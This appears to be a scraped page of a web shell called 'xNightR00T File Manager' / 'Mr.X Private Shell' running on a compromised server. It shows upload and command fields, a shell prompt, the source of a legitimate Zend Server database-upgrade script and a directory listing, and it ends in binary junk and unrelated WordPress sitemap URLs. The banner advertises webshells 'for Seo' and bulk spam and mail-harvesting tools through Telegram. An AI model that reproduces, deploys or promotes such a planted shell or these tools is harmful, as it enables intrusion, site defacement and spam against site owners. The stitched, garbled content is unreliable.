xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

    ini_set("error_reporting", E_ALL);
    ini_set("output_buffering", 0);
    ini_set("max_execution_time", 60 * 60); // one hour timeout
    ini_set("html_errors", 0);
    ini_set("memory_limit", -1);

    require_once dirname(__FILE__) . '/zs_db_settings.php';

    global $verbosity;
    $verbosity = 0;

    global $logFile;
    $logFile = NULL;

    define('ZS6_DATABASE_NAME', "ZendServer");


    /**
     * @param PDO $dbh
     * @param string $queries
     */
    function execQueriesDiscardDuplicates($dbh, $queries) {

        $errMode = $dbh->getAttribute(PDO::ATTR_ERRMODE);

        $wasInTransaction = $dbh->inTransaction();

        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        try {
            if (!$wasInTransaction) {
                $dbh->beginTransaction();
            }

			execQueries($dbh, $queries);

            if (!$wasInTransaction) {
                $dbh->commit();
            }

        } catch (PDOException $exc) {
            if (!$wasInTransaction) {
                $dbh->rollback();
            }

            if (stripos($exc->getMessage(), "duplicate") === false && stripos($exc->getMessage(), "already") === false) {
                if (!$wasInTransaction) {
                    error($exc->getMessage());
                } else {
                    throw $exc;
                }
            }
        }

        $dbh->setAttribute(PDO::ATTR_ERRMODE, $errMode);
    }

    $uiIni = parse_ini_file($_GET['zsDir'] . "/gui/config/zs_ui.ini", true);
    define("ZEND_SERVER_APP_VERSION", "PE");

    function execQueries($dbh, $queries) {
        $queries = explode(";", $queries);
        foreach ($queries as $query) {
            $query = trim($query);
            if (!$query) {
                continue;
            }

            //message($query);
            $res = $dbh->exec($query);
            if($res === FALSE) {
                message(sprintf("Error occurred when executing the following query:\n%s\n",$query));
            }
            //message(var_export($res, true));
        }
    }

    /**
     * execute simple SQL query
     * @param \PDO $dbh
     * @param string $query
     */
    function execQuery($dbh, $query) {

        $query = trim($query);
        if (!$query) {
            message("Calling execQuery() with empty query var");
            return 0;
        }

        //message($query);
        $res = $dbh->exec($query);
        if($res === FALSE) {
            message(sprintf("Error occurred when executing the following query:\n%s\n",$query));
        }
    }

    function ERROR($str) {
        $str = "ERROR: " . $str;
        echo $str . PHP_EOL;
        logMsg($str);
    }

    function logMsg($str) {
        global $logFile;
        if (!$logFile) {
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
                $logPath = $_GET['zsDir'] . "/logs/zs_create_databases.log" ;
            } else {
                $logPath = $_GET['zsDir'] . "/var/log/zs_create_databases.log" ;
            }
            $logFile = @fopen($logPath, "a+");
            ini_set("log_errors", 1);
            ini_set("error_log", $logPath);
        }

        $str = "[" .date('d.m.Y G:i:s') . "] " . $str;
        @fwrite($logFile, $str . PHP_EOL);
    }

    function message($str) {
        global $verbosity;
        if ($verbosity > 0) {
            echo $str . PHP_EOL;
        }

        logMsg($str);
    }

    function debug_env() {
        if (!isset($_GET['debug'])) return; // some debug info if explicitly passing the debug option

        message("Received the following GET params: " . var_export($_GET, true));
        message("Zend Directory Listings: " . var_export(glob($_GET['zsDir'] . "/*"), true));
    }

    /***************/
    /**** MAIN *****/
    /***************/

    // Usage example:
    //
    // /usr/local/zend/gui/lighttpd/sbin/php -c /usr/local/zend/php/7.2/etc/php.ini \
    // /home/eran/devl/zend-server/zs_scripts/zs_create_databases.php toVersion=2019.0.0 zsDir=/usr/local/zend

    $tz = @date_default_timezone_get();
    ini_set("date.timezone", $tz);

    if (!isset($_GET['zsDir'])) {
        error("Please define zsDir parameter");
        die(1);
    }

    $_GET['zsDir'] = realpath($_GET['zsDir']);


    if (isset($_GET['fromVersion'])) {
        message("***** Upgrading from Zend Server version " . $_GET['fromVersion'] . " to version " . $_GET['toVersion'] . '*****');
    } else if (isset($_GET['toVersion'])){
        message("***** Installing Zend Server version " . $_GET['toVersion'] . '*****');
    } else {
        message("***** Installing new Zend Server version ***** ");
    }

    debug_env();

    try {

		$upgradeScripts = glob(__DIR__ . "/zs_*_db_handler.php");
		foreach ($upgradeScripts as $upgradeScriptsFile) {
			require_once($upgradeScriptsFile);
		}

		$upgradeClasses = array();
		foreach (get_declared_classes() as $declaredClass) {
			if (is_subclass_of($declaredClass, "ZSComponentUpgrader", true)) {
				$upgradeClasses[] = $declaredClass;
			}
		}
		$upgradersByComponents = array();
		foreach ($upgradeClasses as $upgradeClass) {
			$obj = new $upgradeClass();
			$upgradersByComponents[$obj->getComponent()][] = $obj;
			usort($upgradersByComponents[$obj->getComponent()], function ($a, $b)  { // sort upgraders by version
					if (version_compare($a->getSchemaVersion(), $b->getSchemaVersion(), ">")) {
						return 1;
					} else {
						return -1;
					}
				});
		}
		$guiHandler = $upgradersByComponents["gui"]; // should be last to execute
		unset($upgradersByComponents["gui"]);

		$upgradersByOrder = array_values ($upgradersByComponents);
		$upgradersByOrder[] = $guiHandler; // should be last to execute

		$targetVersion = null;
		if (isset($_GET['toVersion'])) {
			$targetVersion = $_GET['toVersion'];
		}

		// execute the actual upgraders
		foreach ($upgradersByOrder as $upgraders) {
			message("=====================================");
			message("Creating/Upgrading " . strtoupper(current($upgraders)->getComponent()) . " database...");
			$oneDone = false;
			$targetVersionUpdated = false;
			$lastUpgrader = null;
			foreach ($upgraders as $key => $upgrader ) {
				$lastUpgrader = $upgrader;

				$dbFileExists = file_exists($upgrader->getSqliteDbPath());
				$currentVersion = null;
				if ($dbFileExists) {
					try {
						$currentVersion = $upgrader->getSqliteSchemaVersion();
					}
					catch (Exception $ex) {

					}
				}
				if ($dbFileExists && $currentVersion && version_compare($currentVersion, $upgrader->getSchemaVersion(), ">=")) {
					message("Not using " . $upgrader->getSchemaVersion() . " upgrader. Current version is " . $upgrader->getSqliteSchemaVersion());
					// do nothing
					continue;
				}

				if ($oneDone) {
					message("---------------------------------");
				}
				else {
					$oneDone = true;
				}
				message("Upgrading to version " . $upgrader->getSchemaVersion() . "...");
				$upgrader->upgrade();
				message("Upgrading to version " . $upgrader->getSchemaVersion() . "... Done");

				if ($targetVersion && version_compare($targetVersion, $upgrader->getSchemaVersion(), "<=")) {
					$targetVersionUpdated = true;
				}
			}
		}

        $phpIni = array();
        $phpIniFile = $_GET['zsDir'] . "/etc/php.ini";
		if(file_exists($phpIniFile) && is_readable($phpIniFile)) {
            $phpIni = parse_ini_file($phpIniFile);
        }

		if (isset($phpIni["session.save_handler"]) && $phpIni["session.save_handler"] == "cluster") {
            message("Enabling SCD for cluster");
            $scdIni = file_get_contents($_GET['zsDir'] . "/etc/scd.ini");
            $scdIni = str_replace("zend_sc.daemon.enable=0", "zend_sc.daemon.enable=1", $scdIni);
            file_put_contents($_GET['zsDir'] . "/etc/scd.ini", $scdIni);
        }

    } catch(\Exception $e) {
        ERROR($e->getMessage());
    }


Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml